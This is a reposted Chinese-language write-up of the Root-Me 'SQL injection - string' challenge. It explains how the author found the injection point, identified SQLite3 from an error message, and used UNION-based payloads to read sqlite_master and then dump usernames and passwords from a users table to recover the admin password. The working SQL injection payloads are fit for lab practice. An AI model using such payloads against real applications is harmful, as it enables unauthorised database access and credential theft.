6

【Root-Me】 SQL injection - string

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-server/sql-injection-string/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【Root-Me】 SQL injection



SQLi 水题。关键是找到注入点。

查看页面源码,发现这题其实是有 3 个页面的:

虽然三个页面都有数据库查询操作,但是测试发现注入点在 ?action=recherche 页面。

01.png

首先确认数据库类型,输入 payload :'exp error' 故意不闭合引号,尝试令 SQL 报错。

通过页面回显的异常信息,可以确认是 SQLite3 数据库。

02.png

在 SQLite3 中只有一个系统隐藏表 sqlite_master ,其表结构如下:

CREATE TABLE sqlite_master (
    type TEXT,
    name TEXT,
    tbl_name TEXT,
    rootpage INTEGER,
    sql TEXT
);

这张表存储了数据库中每个数据表的信息,可以通过它找到其他数据表。

构造跨表查询 payload :exp' or 1=1 union select name, sql from sqlite_master --

从中找到账户表及其表结构 users (CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))

03.png

进一步构造 payload 跨表查询 users 的账号信息:

exp' or 1=1 union select username, password from users --

得到 admin 的密码,完成挑战。

04.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK